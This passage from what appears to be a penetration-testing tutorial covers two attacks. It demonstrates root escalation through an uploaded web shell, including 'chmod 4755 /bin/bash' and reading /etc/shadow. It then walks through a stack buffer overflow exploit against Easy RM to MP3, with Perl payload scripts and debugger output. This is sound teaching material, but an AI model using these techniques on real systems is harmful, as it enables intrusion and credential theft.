  • 86. 85 | P a g e if (child == -1) fatal("[-] Unable to fork"); if (child == 0) do_child(); else do_parent(argv[0]); return 0; } The screenshots below show these two files being uploaded on www2.example.com. We shall now compile ptrace1.c and check if it has been compiled properly. We shall also check our current privileges. The screenshot below shows the following commands executed via shell.cgi: gcc -o ptrace1 ptrace1.c ls –la id
  • 87. 86 | P a g e The privileges extended to shell.cgi are those of the "nobody" user. ptrace1.c - privilege escalation The next step is to attempt to execute ptrace1, to see if we can apply the setuid permissions to /bin/bash. The exploit ptrace1.c internally executes the following command: /bin/chmod 4755 /bin/bash The screenshot below shows ptrace1 being executed and the file listing for /bin/bash: Sure enough, the /bin/bash binary has the setuid permission applied to it. The next screenshot shows two commands being executed: Id cat /etc/shadow
  • 88. 87 | P a g e Notice that the effective uid (euid) of the shell.cgi process is 0, which is that of the root user. The fact that we were able to view the contents of the /etc/shadow file proves that the privileges have been escalated. We now have full super-user control of www2.example.com
  • 89. 88 | P a g e Buffer Overflows Why is Programs/Applications Vulnerable? Verify the bug First of all, let’s verify that the application does indeed crash when opening a malicious m3u file. (Or find yourself an application that crashes when you feed specifically crafted data to it). Get yourself a copy of the vulnerable version of Easy RM to MP3 and install it on a computer running Windows XP. The vulnerability report states that the exploit works on XP SP2 (English), but I’ll use XP SP3 (English). Local copy of the vulnerable application can be downloaded here: Easy RM to MP3 Conversion Utility (2.8 MiB, 2,325 hits) You do not have permission to download this file. Quick side note: you can find older versions of applications at oldapps.com and oldversion.com, or by looking at exploits on exploit-db.com (which often have a local copy of the vulnerable application as well) We’ll use the following simple Perl script to create an “.m3u” file that may help us to discover more information about the vulnerability: my $file= "crash.m3u"; my $junk= "x41" x 10000; open($FILE,">$file"); print $FILE "$junk"; close($FILE); print "m3u File Created successfullyn"; Run the Perl script to create the m3u file. The fill will be filled with 10000 A’s (x41 is the hexadecimal representation of A) and open this m3u file with Easy RM to MP3…. The application throws an error, but it looks like the error is handled correctly and the application do not crash. Modify the script to write a file with 20000 A’s and try again, the same behavior. (Exception is handled correctly, so we still could not overwrite anything useful). Now change the script to write 30000 A’s, create the m3u file and open it in the utility.
  • 90. 89 | P a g e Boom – application dies. Ok, so the application crashes if we feed it a file that contains between 20000 and 30000 A’s. But what can we do with this? Verify the bug – and see if it could be interesting Obviously, not every application crash can lead to exploitation. In many cases, an application crash will not lead to exploitation… But sometimes it does. With “exploitation”, I mean that you want the application to do something it was not intended to do… such as running your own code. The easiest way to make an application do something different is by controlling its application flow (and redirects it to somewhere else). This can be done by controlling the Instruction Pointer (or Program Counter), which is a CPU registering that contains a pointer to where the next instruction that needs to be executed is located. Suppose an application calls a function with a parameter. Before going to the function, it saves the current location in the instruction pointer (so it knows where to return when the function completes). If you can modify the value in this pointer, and point it to a location in memory that contains your own piece of code, then you can change the application flow and make it execute something different (other than returning back to the original place). The code that you want to be executed after controlling the flow is often referred to as “shellcode”. So if we make the application run our shellcode, we can call it a working exploit. In most cases, this pointer is referenced by the term EIP. This register size is 4 bytes. So if you can modify those 4 bytes, you own the application (and the computer the application runs on) Before we proceed – some theory Just a few terms that you will need: Every Windows application uses parts of memory. The process memory contains 3 major components:  Code segment (instructions that the processor executes. The EIP keeps track of the next instruction)  data segment (variables, dynamic buffers)  Stack segment (used to pass data/arguments to functions, and is used as space for variables. The stack starts (= the bottom of the stack) from the very end of the virtual memory of a page and grows down (to a lower address). a PUSH adds something to the top of the stack, POP will remove one item (4 bytes) from the stack and puts it in a register. If you want to access the stack memory directly, you can use ESP (Stack Pointer), which points at the top (so the lowest memory address) of the stack.  After a push, ESP will point to a lower memory address (address is decremented with the size of the data that is pushed onto the stack, which is 4 bytes in case of addresses/pointers). Decrements usually happen before the item is placed on the stack (depending on the implementation… if ESP already points at the next free location in the stack, the decrement happens after placing data on the stack)
  • 91. 90 | P a g e  After a POP, ESP points to a higher address (address is incremented (by 4 bytes in case of addresses/pointers)). Increments happen after an item is removed from the stack. When a function/subroutine is entered, a stack frame is created. This frame keeps the parameters of the parent procedure together and is used to pass arguments to the subroutine. The current location of the stack can be accessed via the stack pointer (ESP), the current base of the function is contained in the base pointer (EBP) (or frame pointer). The CPU’s general purpose registers (Intel, x86) are:  EAX: accumulator: used for performing calculations, and used to store return values from function calls. Basic operations such as add, subtract, compare use this general-purpose register  EBX: base (does not have anything to do with base pointer). It has no general purpose and can be used to store data.  ECX: counter: used for iterations. ECX counts downward.  EDX: data: this is an extension of the EAX register. It allows for more complex calculations (multiply, divide) by allowing extra data to be stored to facilitate those calculations.  ESP : stack pointer  EBP : base pointer  ESI : source index : holds location of input data  EDI : destination index : points to location of where result of data operation is stored  EIP : instruction pointer Process Memory When an application is stared in a Win32 environment, a process is created and virtual memory is assigned to. In a 32 bit process, the address ranges from 0×00000000 to 0xFFFFFFFF, where 0×00000000 to 0x7FFFFFFF is assigned to "user-land", and 0×80000000 to 0xFFFFFFFF is assigned to "kernel land". Windows uses the flat memory model, which means that the CPU can directly/sequentially/linearly address all of the available memory locations, without having to use a segmentation/paging scheme. Kernel land memory is only accessible by the OS. When a process is created, a PEB (Process Execution Block) and TEB (Thread Environment Block) are created. The PEB contains all user land parameters that are associated with the current process:  location of the main executable  pointer to loader data (can be used to list all DLLs / modules that are/can be loaded into the process)  pointer to information about the heap The TEB describes the state of a thread, and includes  location of the PEB in memory
  • 92. 91 | P a g e  location of the stack for the thread it belongs to  pointer to the first entry in the SEH chain (see tutorial 3 and 3b to learn more about what a SEH chain is) Each thread inside the process has one TEB. The Win32 process memory map looks like this:
  • 93. 92 | P a g e The text segment of a program image / DLL is read only, as it only contains the application code. This prevents people from modifying the application code. This memory segment has a fixed size. The data segment is used to store global and static program variables. The data segment is used for initialized global variables, strings, and other constants. The data segment is writable and has a fixed size. The heap segment is used for the rest of the program variables. It can grow larger or smaller as desired. All of the memory in the heap is managed by allocator (and De-Allocator) algorithms. A memory region is reserved by these algorithms. The heap will grow towards higher addresses. In a DLL, the code, imports (list of functions used by the DLL, from another DLL or application), and exports (functions it makes available to other DLL’s applications) are part of the .text segment. The Stack The stack is a piece of the process memory, a data structure that works LIFO (Last in first out). A stack gets allocated by the OS, for each thread (when the thread is created). When the thread ends, the stack is cleared as well. The size of the stack is defined when it gets created and doesn’t change. Combined with LIFO and the fact that it does not require complex management structures/mechanisms to get managed, the stack is pretty fast, but limited in size. LIFO means that the most recent placed data (result of a PUSH instruction) is the first one that will be removed from the stack again. (It is removed by a POP instruction). When a stack is created, the stack pointer points to the top of the stack (= the highest address on the stack). As information is pushed onto the stack, this stack pointer decrements (the pointer goes to a lower address). So in essence, the stack grows to a lower address. The stack contains local variables, function calls and other info that does not need to be stored for a larger amount of time. As more data is added to the stack (pushed onto the stack), the stack pointer is decremented and points at a lower address value. Every time a function is called, the function parameters are pushed onto the stack, as well as the saved values of registers (EBP, EIP). When a function returns, the saved value of EIP is retrieved from the stack and placed back in EIP, so the normal application flow can be resumed. Let’s use a few lines of simple code to demonstrate the behavior: 01 #include <string.h> 02
  • 94. 93 | P a g e 03 void do_something(char *Buffer) 04 { 05 char MyVar[128]; 06 strcpy(MyVar,Buffer); 07 } 08 09 int main (int argc, char **argv) 10 { 11 do_something(argv[1]); 12 } (You can compile this code. Get yourself a copy of Dev-C++ 4.9.9.2, create a new Win32 console project (use C as language, not C++), paste the code and compile it). On my system, I called the project "stacktest". Run the application : "stacktest.exe AAAA". Nothing should return. This applications takes an argument (argv[1] and passes the argument to function do_something(). In that function, the argument is copied into a local variable that has a maximum of 128 bytes. This means that if the argument is longer than 127 bytes (+ a null byte to terminate the string), the buffer may get overflown. When function "do_something(param1)" gets called from inside main(), the following things happen: A new stack frame will be created, on top of the ‘parent’ stack. The stack pointer (ESP) points to the highest address of the newly created stack. This is the "top of the stack".
  • 95. 94 | P a g e Before do_something() is called, a pointer to the argument(s) gets pushed to the stack. In our case, this is a pointer to argv[1]. Stack after the MOV instruction:
  • 96. 95 | P a g e Next, function do_something is called. The CALL instruction will first put the current instruction pointer onto the stack (so it knows where to return to if the function ends) and will then jump to the function code. Stack after the CALL instruction: As a result of the push, ESP decrements 4 bytes and now points to a lower address.
  • 97. 96 | P a g e (or, as seen in a debugger) : ESP points at 0022FF5C. At this address, we see the saved EIP (Return to…), followed by a pointer to the parameter (AAAA in this example). This pointer was saved on the stack before the CALL instruction was executed. Next, the function prolog executes. This basically saves the frame pointer (EBP) onto the stack, so it can be restored as well when the function returns. The instruction to save the frame pointer is "push ebp". ESP is decremented again with 4 bytes.
  • 98. 97 | P a g e Following the push ebp, the current stack pointer (ESP) is put in EBP. At that point, both ESP and EBP point at the top of the current stack. From that point on, the stack will usually be referenced by ESP (top of the stack at any time) and EBP (the base pointer of the current stack). This way, the application can reference variables by using an offset to EBP. Most functions start with this sequence : PUSH EBP, followed by MOV EBP,ESP So, if you would push another 4 bytes to the stack, ESP would decrement again and EBP would still stay where it was. You could reference these 4 bytes by using EBP-0×8. Next, we can see how stack space for the variable MyVar (128bytes) is declared/allocated. In order to hold the data, some space is allocated on the stack to hold data in this variable… ESP is decremented by a number of bytes. This number of bytes will most likely is more than 128 bytes, because of an allocation routine determined by the compiler. In the case of Dev-C++, this is 0×98 bytes. So you will see a SUB ESP,0×98 instruction. That way, there will be space available for this variable.
  • 99. 98 | P a g e The disassembly of the function looks like this : 01 00401290 /$ 55 PUSH EBP 02 00401291 |. 89E5 MOV EBP,ESP 03 00401293 |. 81EC 98000000 SUB ESP,98 04 00401299 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; | 05 0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; | 06 004012A0 |. 8D85 78FFFFFF LEA EAX,DWORD PTR SS:[EBP-88] ; |
  • 100. 99 | P a g e 07 004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; | 08 004012A9 |. E8 72050000 CALL <jmp. &msvcrt.strcpy=""> ; strcpy 09 004012AE |. C9 LEAVE 10 004012AF . C3 RETN</jmp.> (Don’t worry about the code too much. You can clearly see the function prolog (PUSH EBP and MOV EBP, ESP), you can also see where space gets allocated for MyVar (SUB ESP, 98), and you can see some MOV and LEA instructions (which basically set up the parameters for the strcpy function… taking the pointer where argv[1] sits and using it to copy data from, into MyVar. If there would not have been a strcpy() in this function, the function would now end and "unwind" the stack. Basically, it would just move ESP back to the location where saved EIP was, and then issues a RET instruction. A ret, in this case, will pick up the saved EIP pointer from the stack and jump to it. (Thus, it will go back to the main function, right after where do_something() was called). The epilog instruction is executed by a LEAVE instruction (which will restore both the frame pointer and EIP). In my example, we have a strcpy() function. This function will read data, from the address pointed to by [Buffer], and store it in <space for MyVar>, reading all data until it sees a null byte (string terminator). While it copies the data, ESP stays where it is. The strcpy() does not use PUSH instructions to put data on the stack… it basically reads a byte and writes it to the stack, using an index (for example ESP, ESP+1, ESP+2, etc). So after the copy, ESP still points at the begin of the string.
  • 101. 100 | P a g e That means… If the data in [Buffer] is somewhat longer than 0×98 bytes, the strcpy() will overwrite saved EBP and eventually saved EIP (and so on). After all, it just continues to read & write until it reaches a null byte in the source location (in case of a string)
  • 102. 101 | P a g e ESP still points at the begin of the string. The strcpy() completes as if nothing is wrong. After the strcpy(), the function ends. And this is where things get interesting. The function epilog kicks in. Basically, it will move ESP back to the location where saved EIP was stored, and it will issue a RET. It will take the pointer (AAAA or 0×41414141 in our case, since it got overwritten), and will jump to that address. So you control EIP. Long story short, by controlling EIP, you basically change the return address that the function will uses in order to “resume normal flow”. Of course, if you change this return address by issuing a buffer overflow, it’s not a “normal flow” anymore. Suppose you can overwrite the buffer in MyVar, EBP, EIP and you have A’s (your own code) in the area before and after saved EIP… think about it. After sending the buffer ([MyVar][EBP][EIP][your code]), ESP will/should point at the beginning of [your code]. So if you can make EIP go to your code, you’re in control. Note : when a buffer on the stack overflows, the term "stack based overflow" or "stack buffer overflow" is used. When you are trying to write past the end of the stack frame, the term "stack overflow" is used. Don’t mix those two up, as they are entirely different. The debugger In order to see the state of the stack (and value of registers such as the instruction pointer, stack pointer etc), we need to hook up a debugger to the application, so we can see what happens at the time the application runs (and especially when it dies). There are many debuggers available for this purpose. The two debuggers I use most often are Windbg, and Immunity’s Debugger Let’s use Windbg. Install Windbg (Full install) and register it as a “post-mortem” debugger using “Windbg -I”.
  • 103. 102 | P a g e You can also disable the “xxxx has encountered a problem and needs to close” popup by setting the following registry key: HKLMSoftwareMicrosoftWindows NTCurrentVersionAeDebugAuto : set to 0 In order to avoid Windbg complaining about Symbol files not found, create a folder on your hard drive (let’s say c:windbgsymbols). Then, in Windbg, go to “File” – “Symbol File Path” and enter the following string: SRV*C:windbgsymbols*http://msdl.microsoft.com/download/symbols (do NOT put an empty line after this string ! make sure this string is the only string in the symbol path field) If you want to use Immunity Debugger instead: get a copy here and install it. Open Immunity debugger, go to "Options" – "Just in-time debugging" and click "Make Immunity Debugger just in-time debugger". Ok, let’s get started. Launch Easy RM to MP3, and then open the crash.m3u file again. The application will crash again. If you have disabled the popups, Windbg or Immunity debugger will kick in automatically. If you get a popup, click the “debug” button and the debugger will be launched: Windbg:
  • 104. 103 | P a g e Immunity:
  • 105. 104 | P a g e This GUI shows the same information, but in a more…errr.. graphical way. In the upper left corner, you have the CPU view, which shows assembly instructions and their opcodes. (The window is empty because EIP currently points at 41414141 and that’s not a valid address). In the upper right windows, you can see the registers. In the lower left corner, you see the memory dump of 00446000 in this case. In the lower right corner, you can see the contents of the stack (so the contents of memory at the location where ESP points at). Anyways, in both cases, we can see that the instruction pointer contains 41414141, which is the hexadecimal representation for AAAA. A quick note before proceeding: On Intel x86, the addresses are stored little-endian (so backwards). The AAAA you are seeing is in fact AAAA :-) (Or, if you have sent ABCD in your buffer, EIP would point at 44434241 (DCBA) So it looks like part of our m3u file was read into the buffer and caused the buffer to overflow. We have been able to overflow the buffer and write across the instruction pointer. So we may be able to control the value of EIP. Since our file does only contain A’s, we don’t know exactly how big our buffer needs to be in order to write exactly into EIP. In other words, if we want to be specific in overwriting EIP (so we can feed it usable data and make it jump to our evil code, we need to know the exact position in
  • 106. 105 | P a g e our buffer/payload where we overwrite the return address (which will become EIP when the function returns). This position is often referred to as the “offset”. Determining the buffer size to write exactly into EIP We know that EIP is located somewhere between 20000 and 30000 bytes from the beginning of the buffer. Now, you could potentially overwrite all memory space between 20000 and 30000 bytes with the address you want to overwrite EIP with. This may work, but it looks much nicer if you can find the exact location to perform an address overwrites. In order to determine the exact offset of EIP in our buffer, we need to do some additional work. First, let’s try to narrow down the location by changing our Perl script just a little: Let’s cut things in half. We’ll create a file that contains 25000 A’s and another 5000 B’s. If EIP contains 41414141 (AAAA), EIP sits between 20000 and 25000, and if EIP contains 42424242 (BBBB), EIP sits between 25000 and 30000. my $file= "crash25000.m3u"; my $junk = "x41" x 25000; my $junk2 = "x42" x 5000; open($FILE,">$file"); print $FILE $junk.$junk2; close($FILE); print "m3u File Created successfullyn"; Create the file and open crash25000.m3u in Easy RM to MP3. OK, so eip contains 42424242 (BBBB), so we know EIP has an offset between 25000 and 30000. That also means that we should/may see the remaining B’s in memory where ESP points at (given that EIP was overwritten before the end of the 30000 character buffer) Buffer: [ 5000 B's ] [AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......] 25000 A's EIP ESP points here Dump the contents of ESP :
  • 107. 106 | P a g e 0:000> d esp 000ff730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0:000> d 000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0:000> d 000ff830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB That is great news. We have overwritten EIP with BBBB and we can also see our buffer in ESP. Before we can start tweaking the script, we need to find the exact location in our buffer that overwrites EIP. In order to find the exact location, we’ll use MetaSploit. MetaSploit has a nice tool to assist us with calculating the offset. It will generate a string that contains unique patterns. Using this pattern (and the value of EIP after using the pattern in our malicious .m3u file), we can see how big the buffer should be to write exactly into EIP. Open the tools folder in the MetaSploit framework3 folder (I’m using a linux version of MetaSploit 3). You should find a tool called pattern_create.rb. Create a pattern of 5000 characters and write it into a file root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb Usage: pattern_create.rb length [set a] [set b] [set c] root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000 Edit the Perl script and replace the content of $junk2 with our 5000 characters.
  • 108. 107 | P a g e my $file= "crash25000.m3u"; my $junk = "x41" x 25000; my $junk2 = “put the 5000 characters here” open($FILE,">$file"); print $FILE $junk.$junk2; close($FILE); print "m3u File Created successfullyn"; Create the m3u file. Open this file in Easy RM to MP3, wait until the application dies again, and take note of the contents of EIP At this time, EIP contains 0x356b4234 (note: little endian: we have overwritten EIP with 34 42 6b 35 = 4Bk5 Let’s use a second MetaSploit tool now, to calculate the exact length of the buffer before writing into EIP, feed it with the value of EIP (based on the pattern file) and length of the buffer: root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 5000 1094 root@bt:/pentest/exploits/framework3/tools# 1094. That’s the buffer length needed to overwrite EIP. So if you create a file with 25000+1094 A’s, and then add 4 B’s (42 42 42 42 in hex) EIP should contain 42 42 42 42. We also know that ESP points at data from our buffer, so we’ll add some C’s after overwriting EIP. Let’s try. Modify the Perl script to create the new m3u file. my $file= "eipcrash.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; my $espdata = "C" x 1000; open($FILE,">$file"); print $FILE $junk.$eip.$espdata; close($FILE); print "m3u File Created successfullyn"; Create eipcrash.m3u, open it in Easy RM to MP3, observe the crash and look at eip and the contents of the memory at ESP:
  • 109. 108 | P a g e 0:000> d esp 000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC In Immunity Debugger, you can see the contents of the stack, at ESP, by looking at the lower right hand window. Excellent. EIP contains BBBB, which is exactly what we wanted. So now we control EIP. On top of that, ESP points to our buffer (C’s) Note : the offset shown here is the result of the analysis on my own system. If you are trying to reproduce the exercises from this tutorial on your own system, odds are high that you will get a different offset address. So please don’t just take the offset value or copy the source code to your system, as the offset is based on the file path where the m3u file is stored. The buffer that is vulnerable to an overflow includes the full path to the m3u file. So if the path on your system is shorter or larger than mine, then the offset will be different. Our exploit buffer so far looks like this: Buffer EBP EIP ESP points here | V A (x 26090) AAAA BBBB CCCCCCCCCCCCCCCCCCCCCCCC 414141414141…41 41414141 42424242 26090 bytes 4 bytes 4 bytes 1000 bytes?
  • 110. 109 | P a g e Find memory space to host the shellcode We control EIP. So we can point EIP to somewhere else, to a place that contains our own code (shellcode). But where is this space, how can we put our shellcode in that location and how can we make EIP jump to that location? In order to crash the application, we have written 26094 A’s into memory, we have written a new value into the saved EIP field (ret), and we have written a bunch of C’s. When the application crashes, take a look at the registers and dump all of them (d esp, d EAX, d EBX, d ebp, …). If you can see your buffer (either the A’s or the C’s) in one of the registers, then you may be able to replace those with shellcode and jump to that location. In our example, we can see that ESP seems to point to our C’s (remember the output of d ESP above), so ideally we would put our shellcode instead of the C’s and we tell EIP to go to the ESP address. Despite the fact that we can see the C’s, we don’t know for sure that the first C (at address 000ff730, where ESP points at), is in fact the first C that we have put in our buffer. We’ll change the Perl script and feed a pattern of characters (I’ve taken 144 characters, but you could have taken more or taken less) instead of C’s: my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK”. "5ABCDEFGHIJK6ABCDEFGHIJK”. "7ABCDEFGHIJK8ABCDEFGHIJK”. "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfullyn"; Create the file, open it, let the application die and dump memory at location ESP: 0:000> d ESP 000ff730 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47 DEFGHIJK2ABCDEFG 000ff740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b HIJK3ABCDEFGHIJK 000ff750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43 4ABCDEFGHIJK5ABC 000ff760 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47 DEFGHIJK6ABCDEFG 000ff770 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b HIJK7ABCDEFGHIJK 000ff780 38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43 8ABCDEFGHIJK9ABC 000ff790 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47 DEFGHIJKAABCDEFG 000ff7a0 48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b HIJKBABCDEFGHIJK 0:000> d 000ff7b0 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41 CABCDEFGHIJK.AAA 000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  • 111. 110 | P a g e 000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Ok, we can see 2 interesting things here:  ESP starts at the 5th character of our pattern, and not the first character. You can find out why by looking at this forum post : http://www.corelan.be:8800/index.php/forum/writing- exploits/question-about-esp-in-tutorial-pt1  After the pattern string, we see “A’s”. These A’s most likely belong to the first part of the buffer (26101 A’s), so we may also be able to put our shellcode in the first part of the buffer (before overwriting RET)… But let’s not go that way yet. We’ll first add 4 characters in front of the pattern and do the test again. If all goes well, ESP should now point directly at the beginning of our pattern: my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; my $preshellcode = "XXXX"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" . "5ABCDEFGHIJK6ABCDEFGHIJK" . "7ABCDEFGHIJK8ABCDEFGHIJK" . "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($FILE,">$file"); print $FILE $junk.$eip.$preshellcode.$shellcode; close($FILE); print "m3u File Created successfullyn"; Let the application crash and look at ESP again 0:000> d ESP 000ff730 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43 1ABCDEFGHIJK2ABC 000ff740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEFGHIJK3ABCDEFG 000ff750 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b HIJK4ABCDEFGHIJK 000ff760 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43 5ABCDEFGHIJK6ABC 000ff770 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47 DEFGHIJK7ABCDEFG 000ff780 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b HIJK8ABCDEFGHIJK 000ff790 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43 9ABCDEFGHIJKAABC 000ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47 DEFGHIJKBABCDEFG 0:000> d 000ff7b0 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b HIJKCABCDEFGHIJK 000ff7c0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA 000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  • 112. 111 | P a g e 000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Much better ! We now have  control over EIP  An area where we can write our code (at least 144 bytes large. If you do some more tests with longer patterns, you will see that you have even more space… plenty of space in fact)  a register that directly points at our code, at address 0x000ff730 Now we need to  build real shellcode  Tell EIP to jump to the address of the start of the shellcode. We can do this by overwriting EIP with 0x000ff730. Let’s see We’ll build a small test case: first 26094 A’s, then overwrite EIP with 000ff730, and then put 25 NOP’s, then a break, and then more NOP’s. If all goes well, EIP should jump 000ff730, which contains NOPs. The code should slide until the break. my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x000ff730); my $shellcode = "x90" x 25; $shellcode = $shellcode."xcc"; $shellcode = $shellcode."x90" x 25; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfullyn"; The application died, but we expected a break instead of an access violation. When we look at EIP, it points to 000ff730, and so does ESP. When we dump ESP, we don’t see what we had expected. eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
